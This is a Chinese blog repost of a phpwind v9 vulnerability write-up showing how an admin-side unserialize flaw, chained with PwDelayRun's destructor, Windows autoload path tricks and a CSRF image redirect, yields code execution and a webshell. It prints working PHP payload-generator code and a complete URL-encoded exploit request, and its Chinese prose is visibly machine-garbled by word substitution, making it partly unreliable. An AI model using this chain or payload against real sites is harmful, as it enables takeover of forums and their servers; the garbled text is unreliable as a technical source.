欢迎光临杨雨的个人博客站!

杨雨个人网站-杨雨个人博客-杨照佳

杨雨个人博客网站

关注互联网和搜索引擎的个人博客网站

首页 > cms使用教程 > phpwind使用教程 >

Phpwind GET型CSRF恣意代码执行

发布时间:2016-12-31  编辑:杨雨个人博客网站   点击:   

反序列化裂痕导致代码执行。
GET型CSRF,直接插入帖子,打点员赏识后执行恣意代码。

这个洞着实很故意思,最痛惜的处所就是其触发位置在靠山,不然它将是一个绝无仅有的好洞。0x01 靠山反序列化位置起首纵览整个phpwindv9,反序列化的位置许多,但根基都是从数据库里取出的,很难完全节制序列化字符串。
最后,找到三处:

可恶的是,三处都在靠山的Task模块下。Task模块是『使命中心』成果,只有能进入靠山的用户才可以会见:

Phpwind GET型CSRF尽情代码执行


任意打开一个, src/applications/task/admin/TaskConditionMemberController.php
class TaskConditionMemberController extends AdminBaseController{
    /* (non-PHPdoc)
     * @see AdminBaseController::beforeAction()
     */
    public function beforeAction($handlerAdapter) {
        parent::beforeAction($handlerAdapter);
        $var = unserialize($this->getInput('var'));
        if (is_array($var)) {
            $this->setOutput($var, 'condition');
        }
    }
beforeAction将会在现实执行Action之前执行。这里$var = unserialize($this->getInput('var'));,从Input中获取var参数的值,举办反序列化。
这个Input可以来自get/post/cookie。我们只要在phpwind里找到反序列化可以操作的点,就能在这里触发反序列化裂痕。0x02 PwDelayRun类__destruct要领全局搜一下要害词__destruct,很快找到了PwDelayRun类:
class PwDelayRun {
    
    private static $instance = null;
    private $_callback = array();
    private $_args = array();
    private function __construct() {
    }
    public function __destruct() {
        foreach ($this->_callback as $key => $value) {
            call_user_func_array($value, $this->_args[$key]);
        }
    }
    ...
}
可见__destruct要领,个中遍历了_callback数组,用call_user_func_array执行恣意函数。这里假如_callback可控,那么就可以直接执行assert+恣意代码了。
本来是一个异常简朴的裂痕,但我们在TaskConditionMemberController::beforeAction::unserialize里下断点,执行var_dump(get_declared_classes());exit;,查察当前已经界说的类:
Array
(
    [0] => stdClass
    [1] => Exception
    ...
    [330] => WindMysqlPdoAdapter
    [331] => WindResultSet
    [332] => AdminUserBo
    [333] => AdminLogService
    [334] => WindFile
)
个中并没有PwDelayRun类。看来在反序列化的时辰,并没有加载这个类,以是我纵然结构了操作要领,也『造』不出PwDelayRun工具。
那怎么办?0x03 操作spl_autoload包括恣意php文件在Joomla谁人反序列化裂痕( https://**.**.**.**/PENETRATION/joomla-unserialize-code-execute-vulnerability.Html )里,提到了一个要领。
由于Joomla内的spl_autoload会按照类名自动加载文件,以是其时结构了一个JSimplepieFactory类工具,而factory.php中包括了import方针类的要领:

Phpwind GET型CSRF尽情代码执行


以是乐成反序列化了simplepie类。
回到Phpwind。同原理,我们在Phpwind中看看哪些文件包括了PwDelayRun:

Phpwind GET型CSRF尽情代码执行


静态包括PwDelayRun的就只有PwConfigService类。我在适才得到的类里看看,不幸的是,PwConfigService也没有加载。
继承查找PwConfigService,并没有静态加载这个类的要领:

Phpwind GET型CSRF尽情代码执行


以是我们这个链就断了。
但操作spl_autoload这个思绪不能断,我们思索一下,当代php框架中肯定存在autoload,在反序列化的进程中发明白不存在的类『PwDelayRun』,就会直接传入注册好的spl_autoload函数中。我在 /wind/Wind.php 中,可以找到spl_autoload_register函数的挪用:
public static function init() {
    self::$isDebug = WIND_DEBUG;
    function_exists('date_default_timezone_set') && date_default_timezone_set('Etc/GMT+0');
    self::register(WIND_PATH, 'WIND', true);
    if (!self::$_isAutoLoad) return;
    if (function_exists('spl_autoload_register'))
        spl_autoload_register('Wind::autoLoad');
    else
        self::$_isAutoLoad = false;
    self::_loadBaseLib();
}
将Wind::autoload注册为自动加载函数。跟进Wind::autoLoad
public static function autoLoad($className, $path = '') {
    if ($path)
        include $path . '.' . self::$_extensions;
    elseif (isset(self::$_classes[$className])) {
        include self::$_classes[$className] . '.' . self::$_extensions;
    } else
        include $className . '.' . self::$_extensions;
}
autoLoad第二个参数是没有值的,以是这里,最后会走到这一步:include $className . '.' . self::$_extensions;。
看到include我就有点感动,但静下心想一下发明照旧有题目的。由于这里的className是没有路径的,而PwDelayRun类在src/library/utility/PwDelayRun.php文件中,我必要传入路径才可以包括到这个类。
固然类名不能包括非凡字符,但着实类名中是可以包括\的:

Phpwind GET型CSRF尽情代码执行


这涉及到php中的定名空间的常识。学过新型框架的同窗必定对定名空间异常认识,以是我没须要多先容。定名空间中可以包括\,而在windows下,\也可以作为路径的脱离符。(由此可见,这个裂痕仅限于Windows处事器)
以是这里,我可以将类名配置为src\library\utility\PwDelayRun(着实就是src\library\utility定名空间下的PwDelayRun类),最后在Wind::autoload里举办包括 include src\library\utility\PwDelayRun.php0x04 操作数组+定名空间加载沟通名字的类尚有一个题目,我们这里将类名配置为src\library\utility\PwDelayRun,而:整个phpwind全局是没有行使定名空间的,也就是默认定名空间为\,但此刻的PwDelayRun类地址的定名空间为src\library\utility。
这样,纵然我包括了src\library\utility\PwDelayRun.php文件,反序列化的时辰是实例化的src\library\utility\PwDelayRun类。但phpwind的定名空间是\,上下文存在的类是\PwDelayRun类,照旧无法正常举办(由于找不到src\library\utility\PwDelayRun类)。
我想了一下,着实也好办,只要变通一下。我们只要天生src\library\utility\PwDelayRun类和\PwDelayRun类两个工具,放在一个数组中,在反序列化前者的进程中include方针文件,在反序列化后者的进程中拿到PwDelayRun工具。
我结构了一个POC:
// test1.php
header("Content-Type: text/plain");
require_once "test2.php";
class PwDelayRun{
    private $_callback;
    private $_args;
    function __construct()
    {
        $this->_callback = [
            'assert'
        ];
        $this->_args = [
            ["phpinfo();exit;"]
        ];
    }
}
$obj = [
    new src\library\utility\PwDelayRun(),
    new PwDelayRun()
];
echo urlencode(serialize($obj));
//test2.php
namespace src\library\utility;
class PwDelayRun{
}
执行test1.php即可拿到POC工具。

Phpwind GET型CSRF尽情代码执行


将这个字符串传入var参数,功效……

Phpwind GET型CSRF尽情代码执行


啥事也没产生……这是什么环境?0x05 操作stdClass取代数组绕过限定我们回看TaskConditionMember类,看看反序列化的谁人beforeAction函数:
public function beforeAction($handlerAdapter) {
    parent::beforeAction($handlerAdapter);
    $var = unserialize($this->getInput('var'));
    if (is_array($var)) {
        $this->setOutput($var, 'condition');
    }
}
后头有个判定is_array,是它在捣鬼。
假如var是数组的话,就配置到output里。以是,最后该工具并没有烧毁,没有烧毁那么现实上就没有挪用__destruct函数,以是也无法执行恣意代码了。
要让is_array返回false,只需序列化一个非数组工具即可。着实在php源码层,工具是用数组来模仿的,我们只必要用一个工具取代数组即可。
php最简朴的工具就是stdClass,我将POC改为如下即可:
// test.php
header("Content-Type: text/plain");
require_once "test2.php";
class PwDelayRun{
    private $_callback;
    private $_args;
    function __construct()
    {
        $this->_callback = [
            'assert'
        ];
        $this->_args = [
            ["phpinfo();file_put_contents('shell.php','');exit;"]
        ];
    }
}
$obj = new stdClass();
$obj->a = new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));
天生序列化字符串:

Phpwind GET型CSRF尽情代码执行


传入var参数:

Phpwind GET型CSRF尽情代码执行


万事大吉,乐成!打点员只需拥有靠山『论坛使命』成果,即可直接执行恣意代码。0x06 前台操作CSRF腾飞这个裂痕本是一个操作能力很妙的裂痕,但最要害的题目是其呈此刻靠山,操作门槛太高。
但这个裂痕又有一个特点,那就是其为GET要领,只必要一个URL即可触发。以是,我们可以用相同Discuz这个裂痕的要领: **.**.**.**/bugs/wooyun-2014-064886 ,将URL插入前台帖子的图片中:

Phpwind GET型CSRF尽情代码执行


功效……phpwind给我把&都转义了,无法正常执行。
不外不要紧,只要我写一个302跳转,跳转到方针URL即可:

Phpwind GET型CSRF尽情代码执行


将这个php作为图片地点写入帖子:

Phpwind GET型CSRF尽情代码执行


打点员赏识:

Phpwind GET型CSRF尽情代码执行


得到webshell:

Phpwind GET型CSRF尽情代码执行


**.**.**.**/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A15%3A%22phpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D

本文地址:http://itbyc.com/cms/phpwind/15013.html
转载请注明出处。
分享是一种快乐,也是一种美德:
评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
博客首页 | WEB开发 | 网站运营 | CMS使用教程 滇ICP备14002061号-1